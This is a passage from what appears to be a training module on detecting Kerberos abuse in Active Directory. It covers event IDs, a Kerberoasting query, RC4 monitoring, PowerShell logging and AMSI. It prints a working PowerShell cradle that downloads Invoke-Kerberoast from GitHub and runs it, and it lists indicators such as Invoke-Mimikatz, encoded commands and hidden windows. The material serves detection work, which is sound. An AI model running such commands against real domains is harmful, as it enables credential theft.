Detection

We have spent most of the module explaining Kerberos attacks, and now it's time to switch it up and talk about how to detect the attacks and techniques we have been practicing. The goal of this section is to provide insight into detecting Kerberos abuse. Even with well-configured central logging (ex: Splunk/Elastic/Graylog), detecting Kerberos Ticket abuse can be incredibly tough due to:

`Issue`	`Reasoning`
Lack of Exploitation	Kerberos attacks primarily take advantage of gaining access to a secret that allows them to skip protocol steps. When done correctly, there is nothing abnormal about their requests other than the behavior, which is tough for a program to identify without false positives.
Number of data sources to Check	Kerberos Logs exist on the client using the ticket, the target the client authenticates with, and the domain controller. Many organizations have more than one Domain Controller, which means it will be nearly impossible to triage without centralized logging manually.
Amount of Login Events	In an idle environment not generating logs, it is easy to look for a TGS ticket without a correlating TGT. However, when dealing with thousands of requests per day, this data type can easily get lost in the noise.

Detecting automated tools such as Rubeus and other forms of Kerberos abuse is possible if we watch for a few events and take proactive measures.

Set A Baseline

Ensuring we have a baseline of what hosts belong on the network and a common baseline of the ongoing activity is a great place to start. Feeding logs from our hosts to include the logging of PowerShell to a central management point will make detecting an intrusion much easier. It will be quicker to spot trends in the data this way. Manually searching logs, especially for Kerberos ticket requests, can mean sifting through tens of thousands of logs daily in larger environments. Using a baseline and tuning search filters for unique events can be a great way to detect domain security compromises.

The first easy marker we can filter out of our checks is any requests from accounts ending in $. These accounts are computer accounts, managed service accounts, or other trusts where Windows manages the account and generates strong passwords. Our abuse instances will show up in the logs a bit differently.

You can generally trust any requests from an account ending in $. These are from the computer, GMSA, or trusts where Windows will automatically generate a long password.

Event Codes

Watching the below event codes for anomalies can help us quickly detect issues within our environment.

`Useful Event Codes`	`Description`
`4624`	`Successful Logon`
`4634`	`Successful Logoff`
`4672`	`Special Privileges Assigned to New Logon`
`4768`	`A Kerberos authentication ticket (TGT) was requested`
`4769`	`A Kerberos service ticket was requested`
`4770`	`A Kerberos service ticket was renewed`

Event: 4624 & 4634 - An account was successfully logged on or off

Why these events matter: These events document every time a user successfully logs in or off the host, regardless of account type.
What to look for: Many different authentication attempts of an account or multiple accounts within a short timeframe. Especially those attempts coming from 4624 with a Logon Type code of 2-Interactive, 3-Network, or 10-Remoteinteractive and/or logging into the domain controller.

Also, when looking at the requests, one could check the event for a data structure that looks like this:

Security ID: DOMAIN\AccountID
Account Name: AccountID
Account Domain: DOMAIN

The logon structure will have some issues with Kerberoasting, specifically Golden and Silver Ticket attacks. This could be something as small as the Account Domain filed is blank, containing the FQDN of the domain instead of the short name, or containing *.*.kiwi:. The forged data could appear as so:

Security ID: DOMAIN\AccountID
Account Name: AccountID will not match the security ID of the account.
Account Domain: testdomain.kerberoasted.org or just blank.

With Silver Tickets, we will see these logs on the host that was accessed, while Golden Tickets will be logged directly on the domain controller.

Event: 4672 - Special privileges assigned to new logon

Why these events matter: This is a great way to track admin accounts activity. It logs the privileges assigned to the account.
What to look for: Any accounts accessing hosts or infrastructure they should not or typically do not. Accounts being provided rights they usually do not have or need. This event ties in with event 4624, and we will see it alongside a new login for a privileged account.

Event: 4768, 4769, & 4770 - A Kerberos Ticket (TGT) or Service Ticket was Requested or Renewed

Why these events matter: By monitoring these events, we can track any Kerberos authentication attempts or renewal of tickets.
What to look for:
Look for users with excessive events.
Domain Controllers can log Kerberos TGS service ticket requests by configuring Audit Kerberos Service Ticket Operations under Account Logon to log successful Kerberos TGS ticket requests.

A sample query for Kerberoasting events would look something like this:

Event ID '4769'
Service Name not equal to 'krbtgt'
Service Name does not end with '$'
Account Name does not match '<MachineName>$@<Domain>’
Failure Code is ‘0x0’
Ticket Encryption Type is ‘0x17’ (RC4-hmacw)
Ticket Options: '0x40810000'

Here is a list of other events to monitor for signs of suspicious activity.

Crypto

When performing Kerberoasting, attackers will generally ask for an RC4-HMAC ( $23$ ) encryption type, the weakest form of cryptographic algorithms modern Active Directory will allow. The weaker the cryptographic algorithm, the quicker their cracker (hashcat) will operate. While it is possible to disable RC4 altogether link, it is not recommended, due to it breaking software, and when Kerberos hardening breaks software, it can be tough to find the root cause. Instead of disabling, set the preferred method to be AES, making the RC4 events incredibly rare in the environment. Every time an RC4 encryption type is requested, the event should be triaged.

Defenders should know what accounts are vulnerable, and adding a honeypot account can be a great way to detect an attacker. If appropriately done, placing a strong password-protected honeypot account and watching for its use and the weak RC4 cipher alongside those vulnerable accounts can alert us that an attacker is in the environment. If RC4 was disabled, the attacker would perform Kerberoasting with AES, lowering the likelihood of the password being cracked and reducing the defender's chance of identifying the attacker. With proper monitoring, security flaws are sometimes a good thing.

Powershell Logging

Log PowerShell activity
Monitor the following PowerShell log event ids: 400 & 800
Monitor the following PowerShell Operational log event ids: 4100, 4103, 4104

PowerShell logging can be enabled via Group Policy for PowerShell modules:

How to enable Powershell Logging:

From Group Policy Management navigate to:
- Computer Configuration
  Administrative Templates
  Windows Components
  Windows PowerShell or
- User Configuration
  Administrative Templates
  Windows Components
  Windows PowerShell
- Enable the object "Turn on Module Logging" (highlighted in the image below) at minimum. The more you configure, the more details you will receive.

PowerShell Logging Setup

Once you have the setting on, you can define which modules and cmd-lets you wish to log specifically. For more information on how to enable and configure PowerShell logging, see HERE

Here is a quick list of PowerShell capabilities and command-lets that can be logged:

`CMD-lets to Log`	`Description`
`ActiveDirectory`	Logs the import and use of the ActiveDirectory module via PowerShell.
`CimCmdlets`	Logs any instance of CIM interaction.
`GroupPolicy`	Logs any modifications to Group Policy via PowerShell.
`Microsoft.WSMan.Management`	Logs anything of web services or Windows Remote Management.
`NetAdapter/NetConnection`	Logs any networking related Cmd-lets
`PSScheduledJob/ScheduledTasks`	Logs the use of scheduled tasks via PowerShell. ( adds/changes/deletes)
`ServerManager`	Logs the user of ServerManager from PowerShell
`SmbShare`	Logs any SMB activity
`Microsoft.PowerShell.*`	This option will log all PowerShell modules and cmdlets. This can be helpful if an attacker imports and uses a custom PowerShell module.

Interesting Activity to Watch

Besides the logs above, the below items can be important indicators of something suspicious happening on a host with PowerShell.

`Activity Type`	`Description`
Remote Powershell Attempts	Remote Powershell is a rarity and should only be used by your administrators. A user remotely invoking PowerShell on another host is suspicious.
.Net Framework downloads	Utilizing .net such as "((New-Object Net.WebClient).DownloadString)" is a common way for attackers to pull down tools.
Use of Invoke-Expression or "iex"	Invoke-Expression will take a string or variable and interprets it to run.
Encoded Commands	-enc, -E, Encoded are all examples of derivatives that could be used to encode a command in PowerShell, obscuring it from view.
Invoke-Mimikatz	A call string for the Mimikatz tool. Any sign of this is bad.
Invoke-TokenManipulation	This calls a script from PowerSploit to enumerate the Logon Tokens on a host and use them to create new processes.
Invoke-CredentialInjection:	Creates a Logon with clear-text credentials without triggering alerts for Event 4648. Often used in tandem with TokenManipulation.
FromBase64String & Base64	A way to base 64 encode command strings to hide them from plain view. PowerShell can utilize the FromBase64String cmd-let to de-obfuscate the code.
Hidden Windows	-W, win, window, -WindowStyle Hidden. These will hide any PowerShell window that opens from the user's view.
Execution Policy Changes	Anytime the execution policy is changed to something such as bypass, running scripts that are not trusted is being attempted.
System.Reflection	This string will appear in many logs after Mimikatz has run on a host. It's a good indicator of bad.

Here is a good example of utilizing many options to obfuscate and pull down a payload onto a host.

Suspicious Options

PS C:\htb> powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1');Invoke-kerberoast -OutputFormat Hashcat"

This shows a common way of using the Invoke-Expression (IEX) cmd-let, which calls the .Net Web Client download functionality to download code from GitHub (in this case, the Invoke-Kerberoast script from the Empire Project) and executes it.

There are many ways to utilize PowerShell as a viable attack surface on a host, especially within a Domain. Adding the Windows Subsystem for Linux widens the attack surface for attackers.

AMSI for Malicious Code Detection

The Anti-Malware Scan Interface AMSI in Windows 10 and 11 enables all script code to be scanned before execution by PowerShell and other Windows scripting engines. The Anti-Virus/Anti-Malware solution on the system must support AMSI for it to check the code. The great benefit is that all code delivered to the PowerShell engine is scanned, even code injected into memory that is downloaded from the Internet. As of mid-2016, only Microsoft Defender and AVG support AMSI. Use this functionality, if possible, to add another layer of protection to your environment.

As defenders, we must stay vigilant and constantly update our tools and tactics to watch for new techniques and tools by attackers and threat agents.